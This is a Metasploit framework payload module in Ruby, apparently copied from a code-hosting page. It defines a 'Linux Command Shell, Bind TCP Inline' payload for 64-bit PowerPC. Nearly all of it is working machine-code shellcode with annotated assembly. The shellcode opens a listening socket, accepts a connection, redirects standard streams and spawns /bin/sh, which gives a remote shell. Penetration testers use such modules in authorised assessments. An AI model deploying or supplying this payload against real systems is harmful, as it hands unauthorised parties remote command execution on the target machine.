91 lines
5.1 KiB
Ruby
91 lines
5.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 223
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Bind TCP Inline',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' => 'Ramon de C Valle',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => [ ARCH_PPC64, ARCH_CBEA64 ],
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LPORT' => [ 58, 'n' ],
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},
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'Payload' =>
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"\x7f\xff\xfa\x78" + # xor r31,r31,r31 #
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"\x3b\xa0\x01\xff" + # li r29,511 #
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"\x3b\x9d\xfe\x02" + # addi r28,r29,-510 #
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"\x3b\x7d\xfe\x03" + # addi r27,r29,-509 #
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"\xfb\xe1\xff\xf9" + # stdu r31,-8(r1) #
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"\xfb\x81\xff\xf9" + # stdu r28,-8(r1) #
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"\xfb\x61\xff\xf9" + # stdu r27,-8(r1) #
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"\x7c\x24\x0b\x78" + # mr r4,r1 #
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"\x38\x7d\xfe\x02" + # addi r3,r29,-510 #
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"\x38\x1d\xfe\x67" + # addi r0,r29,-409 #
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"\x44\xff\xff\x02" + # sc #
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"\x7c\x7a\x1b\x78" + # mr r26,r3 #
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"\x3b\x3d\xfe\x11" + # addi r25,r29,-495 #
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"\x3e\xe0\xff\x02" + # lis r23,-254 #
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"\x62\xf7\x04\xd2" + # ori r23,r23,1234 #
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"\x97\xe1\xff\xfc" + # stwu r31,-4(r1) #
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"\x96\xe1\xff\xfc" + # stwu r23,-4(r1) #
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"\x7c\x36\x0b\x78" + # mr r22,r1 #
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"\xfb\x21\xff\xf9" + # stdu r25,-8(r1) #
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"\xfa\xc1\xff\xf9" + # stdu r22,-8(r1) #
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"\xfb\x41\xff\xf9" + # stdu r26,-8(r1) #
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"\x7c\x24\x0b\x78" + # mr r4,r1 #
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"\x38\x7d\xfe\x03" + # addi r3,r29,-509 #
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"\x38\x1d\xfe\x67" + # addi r0,r29,-409 #
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"\x44\xff\xff\x02" + # sc #
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"\xfb\xe1\xff\xf9" + # stdu r31,-8(r1) #
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"\xfb\xe1\xff\xf9" + # stdu r31,-8(r1) #
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"\xfb\x41\xff\xf9" + # stdu r26,-8(r1) #
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"\x7c\x24\x0b\x78" + # mr r4,r1 #
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"\x38\x7d\xfe\x05" + # addi r3,r29,-507 #
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"\x38\x1d\xfe\x67" + # addi r0,r29,-409 #
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"\x44\xff\xff\x02" + # sc #
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"\x7c\x24\x0b\x78" + # mr r4,r1 #
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"\x38\x7d\xfe\x06" + # addi r3,r29,-506 #
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"\x38\x1d\xfe\x67" + # addi r0,r29,-409 #
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"\x44\xff\xff\x02" + # sc #
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"\x7c\x75\x1b\x78" + # mr r21,r3 #
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"\x7f\x64\xdb\x78" + # mr r4,r27 #
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"\x7e\xa3\xab\x78" + # mr r3,r21 #
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"\x38\x1d\xfe\x40" + # addi r0,r29,-448 #
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"\x44\xff\xff\x02" + # sc #
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"\x37\x7b\xff\xff" + # addic. r27,r27,-1 #
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"\x40\x80\xff\xec" + # bge+ <bndsockcode64+148> #
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"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
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"\x40\x82\xff\xfd" + # bnel+ <bndsockcode64+172> #
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"\x7f\xc8\x02\xa6" + # mflr r30 #
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"\x3b\xde\x01\xff" + # addi r30,r30,511 #
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"\x38\x7e\xfe\x25" + # addi r3,r30,-475 #
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"\x98\xbe\xfe\x2c" + # stb r5,-468(r30) #
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"\xf8\xa1\xff\xf9" + # stdu r5,-8(r1) #
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"\xf8\x61\xff\xf9" + # stdu r3,-8(r1) #
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"\x7c\x24\x0b\x78" + # mr r4,r1 #
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"\x38\x1d\xfe\x0c" + # addi r0,r29,-500 #
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"\x44\xff\xff\x02" + # sc #
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"/bin/sh"
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}
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))
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end
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end
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